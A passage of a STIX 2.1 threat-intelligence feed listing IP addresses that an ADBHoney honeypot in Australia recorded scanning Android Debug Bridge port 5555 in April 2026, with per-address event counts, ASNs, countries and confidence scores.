      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=4 | first_seen=2026-04-06T07:47:56.000Z | last_seen=2026-04-06T07:48:59.547Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--a2af4215-2f46-4af6-91ad-4fb51766296f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '216.218.206.85']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T08:00:04.000Z",
      "valid_until": "2026-05-08T08:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 4,
          "first_seen": "2026-04-06T07:47:56.000Z",
          "last_seen": "2026-04-06T07:48:59.547Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-06T08:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=7; ports=5555; cc=BR; asn=268884; asn_org=LIKEE FIBRA LTDA; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=7 | first_seen=2026-04-06T07:47:47.000Z | last_seen=2026-04-06T07:57:57.959Z | ports=5555 | cc=BR | asn=268884 | org=LIKEE FIBRA LTDA",
      "id": "indicator--5f119812-6e46-4362-ad7f-4fefb3c39296",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '45.175.50.11']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T08:00:04.000Z",
      "valid_until": "2026-05-08T08:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 7,
          "first_seen": "2026-04-06T07:47:47.000Z",
          "last_seen": "2026-04-06T07:57:57.959Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "BR"
          ],
          "asn": [
            "268884"
          ],
          "org": [
            "LIKEE FIBRA LTDA"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-06T09:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=CN; asn=9808; asn_org=China Mobile Communications Group Co., Ltd.; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=8 | first_seen=2026-04-06T08:58:09.000Z | last_seen=2026-04-26T02:58:29.146Z | ports=5555 | cc=CN | asn=9808 | org=China Mobile Communications Group Co., Ltd.",
      "id": "indicator--c1738ff5-b026-415c-b66c-db8645276fb5",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '183.232.212.194']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T09:00:03.000Z",
      "valid_until": "2026-05-08T09:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 8,
          "first_seen": "2026-04-06T08:58:09.000Z",
          "last_seen": "2026-04-26T02:58:29.146Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "9808"
          ],
          "org": [
            "China Mobile Communications Group Co., Ltd."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-06T09:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=6; ports=5555; cc=US; asn=7922; asn_org=Comcast Cable Communications, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=6 | first_seen=2026-04-06T08:44:18.000Z | last_seen=2026-04-06T08:54:20.987Z | ports=5555 | cc=US | asn=7922 | org=Comcast Cable Communications, LLC",
      "id": "indicator--ca56a275-6f35-4918-aa44-261d4137e7fb",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '73.134.102.82']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T09:00:03.000Z",
      "valid_until": "2026-05-08T09:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 6,
          "first_seen": "2026-04-06T08:44:18.000Z",
          "last_seen": "2026-04-06T08:54:20.987Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "7922"
          ],
          "org": [
            "Comcast Cable Communications, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-06T10:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=7; ports=5555; cc=US; asn=701; asn_org=Verizon Business; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=7 | first_seen=2026-04-06T09:49:38.000Z | last_seen=2026-04-06T09:59:46.312Z | ports=5555 | cc=US | asn=701 | org=Verizon Business",
      "id": "indicator--9b55e310-be37-457f-97d5-7f953f4ded65",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '68.134.201.182']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T10:00:02.000Z",
      "valid_until": "2026-05-08T10:00:00.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 7,
          "first_seen": "2026-04-06T09:49:38.000Z",
          "last_seen": "2026-04-06T09:59:46.312Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "701"
          ],
          "org": [
            "Verizon Business"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-06T11:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=7; ports=5555; cc=IN; asn=55836; asn_org=Reliance Jio Infocomm Limited; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=7 | first_seen=2026-04-06T10:29:05.000Z | last_seen=2026-04-06T10:39:08.121Z | ports=5555 | cc=IN | asn=55836 | org=Reliance Jio Infocomm Limited",
      "id": "indicator--bb7a146f-a716-4e5d-9a83-942407f1b52e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '157.50.187.149']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T11:00:02.000Z",
      "valid_until": "2026-05-08T11:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 7,
          "first_seen": "2026-04-06T10:29:05.000Z",
          "last_seen": "2026-04-06T10:39:08.121Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "IN"
          ],
          "asn": [
            "55836"
          ],
          "org": [
            "Reliance Jio Infocomm Limited"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-06T11:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=8; ports=5555; cc=HK; asn=215778; asn_org=Alpha Strike Labs GmbH; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=8 | first_seen=2026-04-06T10:05:06.000Z | last_seen=2026-04-06T10:15:18.908Z | ports=5555 | cc=HK | asn=215778 | org=Alpha Strike Labs GmbH",
      "id": "indicator--c2c8f2a0-f6ba-48c2-b572-b86d482798ca",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '194.187.178.18']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T11:00:02.000Z",
      "valid_until": "2026-05-08T11:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 8,
          "first_seen": "2026-04-06T10:05:06.000Z",
          "last_seen": "2026-04-06T10:15:18.908Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "HK"
          ],
          "asn": [
            "215778"
          ],
          "org": [
            "Alpha Strike Labs GmbH"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-06T11:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=HK; asn=215778; asn_org=Alpha Strike Labs GmbH; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=5 | first_seen=2026-04-06T10:05:06.000Z | last_seen=2026-04-06T10:06:14.492Z | ports=5555 | cc=HK | asn=215778 | org=Alpha Strike Labs GmbH",
      "id": "indicator--f35eeec1-98a6-4ddc-ad90-7ab0063d5a22",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '194.187.178.185']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T11:00:02.000Z",
      "valid_until": "2026-05-08T11:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 5,
          "first_seen": "2026-04-06T10:05:06.000Z",
          "last_seen": "2026-04-06T10:06:14.492Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "HK"
          ],
          "asn": [
            "215778"
          ],
          "org": [
            "Alpha Strike Labs GmbH"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-06T11:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=25; ports=5555; cc=ES; asn=12430; asn_org=Vodafone Spain; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=25 | first_seen=2026-04-06T10:22:31.000Z | last_seen=2026-04-06T10:36:57.674Z | ports=5555 | cc=ES | asn=12430 | org=Vodafone Spain",
      "id": "indicator--153b12f1-4773-4e55-a983-29ed38bd4bb4",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '212.145.61.61']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T11:00:02.000Z",
      "valid_until": "2026-05-08T11:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 25,
          "first_seen": "2026-04-06T10:22:31.000Z",
          "last_seen": "2026-04-06T10:36:57.674Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "ES"
          ],
          "asn": [
            "12430"
          ],
          "org": [
            "Vodafone Spain"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-06T12:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=6; ports=5555; cc=AE; asn=5384; asn_org=Emirates Telecommunications Group Company (etisalat Group) Pjsc; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=7 | first_seen=2026-04-06T11:59:53.000Z | last_seen=2026-04-06T12:09:58.229Z | ports=5555 | cc=AE | asn=5384 | org=Emirates Telecommunications Group Company (etisalat Group) Pjsc",
      "id": "indicator--6c87482a-1253-4e10-b07d-604b1804e11b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '83.111.102.110']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T12:00:02.000Z",
      "valid_until": "2026-05-08T12:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 7,
          "first_seen": "2026-04-06T11:59:53.000Z",
          "last_seen": "2026-04-06T12:09:58.229Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "AE"
          ],
          "asn": [
            "5384"
          ],
          "org": [
            "Emirates Telecommunications Group Company (etisalat Group) Pjsc"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-06T14:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=16; ports=5555; cc=BG; asn=48090; asn_org=Techoff Srv Limited; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=51 | first_seen=2026-04-06T13:46:34.000Z | last_seen=2026-04-18T07:54:24.039Z | ports=5555 | cc=BG | asn=48090 | org=Techoff Srv Limited",
      "id": "indicator--a71551c8-c6d1-4a93-ae50-2cdd5e75a482",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '195.178.110.204']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T14:00:02.000Z",
      "valid_until": "2026-05-08T14:00:00.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 51,
          "first_seen": "2026-04-06T13:46:34.000Z",
          "last_seen": "2026-04-18T07:54:24.039Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "BG"
          ],
          "asn": [
            "48090"
          ],
          "org": [
            "Techoff Srv Limited"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-06T15:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=10; ports=5555; cc=CN; asn=4837; asn_org=CHINA UNICOM China169 Backbone; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=10 | first_seen=2026-04-06T14:28:26.000Z | last_seen=2026-04-06T14:38:41.962Z | ports=5555 | cc=CN | asn=4837 | org=CHINA UNICOM China169 Backbone",
      "id": "indicator--51a5b8c7-515e-4015-80b2-597f4f0bc474",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '1.24.16.104']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T15:00:03.000Z",
      "valid_until": "2026-05-08T15:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 10,
          "first_seen": "2026-04-06T14:28:26.000Z",
          "last_seen": "2026-04-06T14:38:41.962Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "4837"
          ],
          "org": [
            "CHINA UNICOM China169 Backbone"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-06T15:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=3; ports=5555; cc=CN; asn=4837; asn_org=CHINA UNICOM China169 Backbone; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=3 | first_seen=2026-04-06T14:00:25.000Z | last_seen=2026-04-06T14:01:29.487Z | ports=5555 | cc=CN | asn=4837 | org=CHINA UNICOM China169 Backbone",
      "id": "indicator--91c33545-a660-4eba-b4b4-5f66f647541e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '1.28.188.108']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T15:00:03.000Z",
      "valid_until": "2026-05-08T15:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 3,
          "first_seen": "2026-04-06T14:00:25.000Z",
          "last_seen": "2026-04-06T14:01:29.487Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "4837"
          ],
          "org": [
            "CHINA UNICOM China169 Backbone"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-06T15:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=12; ports=5555; cc=CN; asn=4134; asn_org=Chinanet; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=12 | first_seen=2026-04-06T14:27:30.000Z | last_seen=2026-04-06T14:37:49.177Z | ports=5555 | cc=CN | asn=4134 | org=Chinanet",
      "id": "indicator--745dadad-83f4-4f12-ace7-2f2883db5e6c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '1.85.217.186']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T15:00:03.000Z",
      "valid_until": "2026-05-08T15:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 12,
          "first_seen": "2026-04-06T14:27:30.000Z",
          "last_seen": "2026-04-06T14:37:49.177Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "4134"
          ],
          "org": [
            "Chinanet"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-06T15:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=9; ports=5555; cc=CN; asn=4134; asn_org=Chinanet; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=9 | first_seen=2026-04-06T14:27:54.000Z | last_seen=2026-04-06T14:38:12.102Z | ports=5555 | cc=CN | asn=4134 | org=Chinanet",
      "id": "indicator--15891713-f23c-4519-99e1-ea2e0e4c92bf",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '114.97.190.239']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T15:00:03.000Z",
      "valid_until": "2026-05-08T15:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 9,
          "first_seen": "2026-04-06T14:27:54.000Z",
          "last_seen": "2026-04-06T14:38:12.102Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "4134"
          ],
          "org": [
            "Chinanet"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-06T15:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=9; ports=5555; cc=CN; asn=4134; asn_org=Chinanet; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=9 | first_seen=2026-04-06T14:28:02.000Z | last_seen=2026-04-06T14:38:32.006Z | ports=5555 | cc=CN | asn=4134 | org=Chinanet",
      "id": "indicator--e535f5b3-e914-4e36-8368-17b7ded2a8cf",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '114.97.191.82']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T15:00:03.000Z",
      "valid_until": "2026-05-08T15:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 9,
          "first_seen": "2026-04-06T14:28:02.000Z",
          "last_seen": "2026-04-06T14:38:32.006Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "4134"
          ],
          "org": [
            "Chinanet"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-06T15:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=112; ports=5555; cc=GB; asn=135377; asn_org=UCLOUD INFORMATION TECHNOLOGY HK LIMITED; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=112 | first_seen=2026-04-06T14:12:05.000Z | last_seen=2026-04-06T14:43:02.701Z | ports=5555 | cc=GB | asn=135377 | org=UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
